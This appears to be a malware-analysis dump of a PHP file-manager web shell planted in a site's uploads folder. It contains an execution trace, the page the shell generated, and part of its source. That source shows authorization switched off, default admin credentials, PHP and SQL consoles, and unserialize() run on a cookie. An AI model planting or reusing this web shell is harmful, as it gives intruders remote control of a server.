2	188	0	0.014608	959168	fm_root	1		/var/www/html/uploads/filemanager.php	1493	1	'prepend.php'
2	188	1	0.014628	959168
2	188	R			FALSE
2	189	0	0.014647	959168	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	189	1	0.014665	959168
2	189	R			'Удалить'
2	190	0	0.014686	959488	__	1		/var/www/html/uploads/filemanager.php	1493	1	'Delete'
2	190	1	0.014705	959488
2	190	R			'Удалить'
1		A						/var/www/html/uploads/filemanager.php	1493	$deletelink = '<a href="#" title="Удалить prepend.php" onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'">Удалить</a>'
2	191	0	0.014760	959104	fm_root	1		/var/www/html/uploads/filemanager.php	1494	1	'prepend.php'
2	191	1	0.014816	959104
2	191	R			FALSE
2	192	0	0.014839	959216	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	192	1	0.014882	959216
2	192	R			'Переименовать'
2	193	0	0.014903	959264	__	1		/var/www/html/uploads/filemanager.php	1494	1	'Rename'
2	193	1	0.014920	959264
2	193	R			'Переименовать'
1		A						/var/www/html/uploads/filemanager.php	1494	$renamelink = '<a href="?fm=true&rename=prepend.php&path=/var/www/html/uploads/" title="Переименовать prepend.php">Переименовать</a>'
2	194	0	0.014965	959216	__	1		/var/www/html/uploads/filemanager.php	1495	1	'Rights'
2	194	1	0.014984	959216
2	194	R			'Права'
2	195	0	0.015013	959232	fm_rights_string	1		/var/www/html/uploads/filemanager.php	1495	2	'/var/www/html/uploads/prepend.php'	???
3	196	0	0.015033	959232	fileperms	0		/var/www/html/uploads/filemanager.php	379	1	'/var/www/html/uploads/prepend.php'
3	196	1	0.015053	959272
3	196	R			33261
2		A						/var/www/html/uploads/filemanager.php	379	$perms = 33261
2		A						/var/www/html/uploads/filemanager.php	380	$info = ''
2		A						/var/www/html/uploads/filemanager.php	390	$info = '-'
2		A						/var/www/html/uploads/filemanager.php	410	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	411	$info .= 'w'
2		A						/var/www/html/uploads/filemanager.php	414	$info .= 'x'
2		A						/var/www/html/uploads/filemanager.php	417	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	418	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	421	$info .= 'x'
2		A						/var/www/html/uploads/filemanager.php	424	$info .= 'r'
2		A						/var/www/html/uploads/filemanager.php	425	$info .= '-'
2		A						/var/www/html/uploads/filemanager.php	428	$info .= 'x'
2	195	1	0.015239	959272
2	195	R			'-rwxr-xr-x'
1		A						/var/www/html/uploads/filemanager.php	1495	$rightstext = '<a href="?fm=true&rights=prepend.php&path=/var/www/html/uploads/" title="Права prepend.php">-rwxr-xr-x</a>'
2	197	0	0.015284	959104	gmdate	0		/var/www/html/uploads/filemanager.php	1500	2	'Y-m-d H:i:s'	1676250335
2	197	1	0.015308	959432
2	197	R			'2023-02-13 01:05:35'
2	198	0	0.015331	959104	microtime	0		/var/www/html/uploads/filemanager.php	1514	0
2	198	1	0.015349	959152
2	198	R			'0.45042400 1676250335'
2	199	0	0.015369	959152	explode	0		/var/www/html/uploads/filemanager.php	1514	2	' '	'0.45042400 1676250335'
2	199	1	0.015390	959680
2	199	R			[0 => '0.45042400', 1 => '1676250335']
1		A						/var/www/html/uploads/filemanager.php	1514	$mtime = [0 => '0.45042400', 1 => '1676250335']
1		A						/var/www/html/uploads/filemanager.php	1515	$totaltime = 0.012655973434448
2	200	0	0.015449	959560	fm_home	1		/var/www/html/uploads/filemanager.php	1516	1	???
3	201	0	0.015467	959560	fm_url	1		/var/www/html/uploads/filemanager.php	732	1	FALSE
3		A						/var/www/html/uploads/filemanager.php	727	$host = '.'
4	202	0	0.015500	959592	basename	0		/var/www/html/uploads/filemanager.php	728	1	'/var/www/html/uploads/filemanager.php'
4	202	1	0.015522	959664
4	202	R			'filemanager.php'
3	201	1	0.015543	959608
3	201	R			'./filemanager.php'
3	203	0	0.015563	959640	__	1		/var/www/html/uploads/filemanager.php	732	1	'Home'
3	203	1	0.015582	959640
3	203	R			'Домой'
2	200	1	0.015601	959720
2	200	R			'&nbsp;<a href="./filemanager.php" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	204	0	0.015630	959784	fm_site_url	1		/var/www/html/uploads/filemanager.php	1516	0
3	205	0	0.015647	959784	fm_protocol	1		/var/www/html/uploads/filemanager.php	723	0
3	205	1	0.015668	959784
3	205	R			'http://'
2	204	1	0.015688	959832
2	204	R			'http://localhost'
2	206	0	0.015711	959560	phpversion	0		/var/www/html/uploads/filemanager.php	1517	0
2	206	1	0.015728	959624
2	206	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	207	0	0.015752	959560	__	1		/var/www/html/uploads/filemanager.php	1519	1	'Generation time'
2	207	1	0.015771	959560
2	207	R			'Генерация страницы'
2	208	0	0.015793	959640	round	0		/var/www/html/uploads/filemanager.php	1519	2	0.012655973434448	2
2	208	1	0.015814	959712
2	208	R			0.01
2	209	0	0.015836	959560	__	1		/var/www/html/uploads/filemanager.php	1522	1	'Download'
2	209	1	0.015855	959560
2	209	R			'Скачать'
2	210	0	0.015879	959560	__	1		/var/www/html/uploads/filemanager.php	1523	1	'Settings'
2	210	1	0.015897	959560
2	210	R			'Настройка'
1	3	1	0.015924	959560
			0.016002	594632
TRACE END   [2023-02-12 23:06:01.348861]


Generated HTML code

<html><head>     
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File manager</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJ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YGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}


input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/langs/ru.js" charset="UTF-8"></script><script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/reg_syntax/php.js" charset="UTF-8"></script></head>
<body>
<table class="whole" id="header_table">
<tbody><tr>
    <th colspan="2">File manager - /var/www/html/</th>
</tr>
<tr>
    <td class="row2">
		<table>
			<tbody><tr>
			<td>
				&nbsp;<a href="./filemanager.php" title="Home"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>			</td>
			<td>
							<form method="post" action="?fm=true">
				<input type="hidden" name="path" value="/var/www/html/">
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="Make directory">
				</form>
						</td>
			<td>
							<form method="post" action="?fm=true">
				<input type="hidden" name="path" value="/var/www/html/">
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="New file">
				</form>
						</td>
			<td>
			
				<form method="post" action="./filemanager.php" style="display:inline">
				<input type="submit" name="phprun" value="PHP Console">
				</form>
			</td>
			<td>
			
				<form method="post" action="./filemanager.php" style="display:inline">
				<input type="submit" name="sqlrun" value="SQL Console">
				</form>
			</td>
			</tr>
		</tbody></table>
    </td>
    <td class="row3">
		<table>
		<tbody><tr>
		<td>
					<form name="form1" method="post" action="?fm=true" enctype="multipart/form-data">
			<input type="hidden" name="path" value="/var/www/html/">
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;">
			<input type="text" readonly="1" id="upload_visible" placeholder="Select the file" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();">
			<input type="submit" name="test" value="Upload">
			</form>
				</td>
		<td>
				</td>
		<td>
		
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="Language" onchange="document.forms['change_lang'].submit()">
		<option value="en" selected="selected">English</option>
		<option value="de">German</option>
		<option value="ru">Russian</option>
		<option value="fr">French</option>
		<option value="uk">Ukrainian</option>
	</select>
</form>
		</td>
		</tr><tr>
		</tr></tbody></table>
    </td>
</tr>
</tbody></table>
<table class="all" border="0" cellspacing="1" cellpadding="1" id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> Filename </th>
    <th style="white-space:nowrap"> Size </th>
    <th style="white-space:nowrap"> Date </th>
    <th style="white-space:nowrap"> Rights </th>
    <th colspan="4" style="white-space:nowrap"> Manage </th>
</tr>
</thead>
<tbody>
<tr class="row2"> 
    <td><a href="?fm=true&amp;path=/var/www/html/." title="Show ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a></td>
    <td></td>
    <td style="white-space:nowrap">2023-02-13 01:05:28</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
</tr>
<tr class="row2"> 
    <td><a href="?fm=true&amp;path=/var/www/html/.." title="Show .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a></td>
    <td></td>
    <td style="white-space:nowrap">2023-02-13 01:05:28</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
</tr>
<tr class="row1"> 
    <td><a href="?fm=true&amp;edit=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Edit"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> beneri.se_malware_analysis</a></td>
    <td>0</td>
    <td style="white-space:nowrap">2023-02-13 01:05:28</td>
    <td><a href="?fm=true&amp;rights=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Rights beneri.se_malware_analysis">-rw-r--r--</a></td>
    <td><a href="#" title="Delete beneri.se_malware_analysis" onclick="if(confirm('File selected: \nbeneri.se_malware_analysis. \nAre you sure you want to delete this file?')) document.location.href = '?fm=true&amp;delete=beneri.se_malware_analysis&amp;path=/var/www/html/'">Delete</a></td>
    <td><a href="?fm=true&amp;rename=beneri.se_malware_analysis&amp;path=/var/www/html/" title="Rename beneri.se_malware_analysis">Rename</a></td>
    <td>&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==" title="Download beneri.se_malware_analysis">Download</a></td>
    <td>&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==" title="Archiving beneri.se_malware_analysis">Compress&nbsp;.tar.gz</a></td>
</tr>
<tr class="row1"> 
    <td><a href="?fm=true&amp;edit=filemanager.php&amp;path=/var/www/html/" title="Edit"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> filemanager.php</a></td>
    <td>84909</td>
    <td style="white-space:nowrap">2023-02-13 01:05:28</td>
    <td><a href="?fm=true&amp;rights=filemanager.php&amp;path=/var/www/html/" title="Rights filemanager.php">-rw-rw-r--</a></td>
    <td><a href="#" title="Delete filemanager.php" onclick="if(confirm('File selected: \nfilemanager.php. \nAre you sure you want to delete this file?')) document.location.href = '?fm=true&amp;delete=filemanager.php&amp;path=/var/www/html/'">Delete</a></td>
    <td><a href="?fm=true&amp;rename=filemanager.php&amp;path=/var/www/html/" title="Rename filemanager.php">Rename</a></td>
    <td>&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC9maWxlbWFuYWdlci5waHA=" title="Download filemanager.php">Download</a></td>
    <td>&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC9maWxlbWFuYWdlci5waHA=" title="Archiving filemanager.php">Compress&nbsp;.tar.gz</a></td>
</tr>
</tbody>
</table>
<div class="row3">&nbsp;<a href="./filemanager.php" title="Home"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a> | ver. 1.1 | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="http://localhost">.</a> | PHP 7.2.34-37+ubuntu22.04.1+deb.sury.org+1 | Generation time: 0 | <a href="?proxy=true">proxy</a> | <a href="?phpinfo=true">phpinfo</a> | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet('fm_table','export');" title="Download xls">xls</a> | <a href="?fm_settings=true">Settings</a></div>
<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
<script language="Javascript" type="text/javascript">
editAreaLoader.init({
id: "newcontent"
,display: "later"
,start_highlight: true
,allow_resize: "both"
,allow_toggle: true
,word_wrap: true
,language: "ru"
,syntax: "php"	
,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help"
,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas"
});
</script><script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>



</body></html>

Original PHP code

<?php
/* PHP File manager ver 1.2 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"http:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.1;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
if ($language=='ru') {
$lang['Add']='Добавить';
$lang['Are you sure you want to delete this directory (recursively)?']='Вы уверены, что хотите удалить эту папку (рекурсивно)?';
$lang['Are you sure you want to delete this file?']='Вы уверены, что хотите удалить этот файл?';
$lang['Archiving']='Архивировать';
$lang['Authorization']='Авторизация';
$lang['Back']='Назад';
$lang['Cancel']='Отмена';
$lang['Chinese']='Китайский';
$lang['Compress']='Сжать';
$lang['Console']='Консоль';
$lang['Cookie']='Куки';
$lang['Created']='Создан';
$lang['Date']='Дата';
$lang['Days']='Дней';
$lang['Decompress']='Распаковать';
$lang['Delete']='Удалить';
$lang['Deleted']='Удалено';
$lang['Download']='Скачать';
$lang['done']='закончена';
$lang['Edit']='Редактировать';
$lang['Enter']='Вход';
$lang['English']='Английский';
$lang['Error occurred']='Произошла ошибка';
$lang['File manager']='Файловый менеджер';
$lang['File selected']='Выбран файл';
$lang['File updated']='Файл сохранен';
$lang['Filename']='Имя файла';
$lang['Files uploaded']='Файл загружен';
$lang['French']='Французский';
$lang['German']='Немецкий';
$lang['Generation time']='Генерация страницы';
$lang['Home']='Домой';
$lang['Quit']='Выход';
$lang['Language']='Язык';
$lang['Login']='Логин';
$lang['Manage']='Управление';
$lang['Make directory']='Создать папку';
$lang['Name']='Наименование';
$lang['New']='Новое';
$lang['New file']='Новый файл';
$lang['no files']='нет файлов';
$lang['Password']='Пароль';
$lang['pictures']='изображения';
$lang['Recursively']='Рекурсивно';
$lang['Rename']='Переименовать';
$lang['Reset']='Сбросить';
$lang['Reset settings']='Сбросить настройки';
$lang['Result']='Результат';
$lang['Rights']='Права';
$lang['Russian']='Русский';
$lang['Save']='Сохранить';
$lang['Select']='Выберите';
$lang['Select the file']='Выберите файл';
$lang['Settings']='Настройка';
$lang['Show']='Показать';
$lang['Size']='Размер';
$lang['Spanish']='Испанский';
$lang['Submit']='Отправить';
$lang['Task']='Задача';
$lang['templates']='шаблоны';
$lang['Show size of the folder']='Показать размер папки';
$lang['Ukrainian']='Украинский';
$lang['Upload']='Загрузить';
$lang['Value']='Значение';
$lang['Hello']='Привет';
} elseif ($language=='de') {
$lang['Add']='Add';
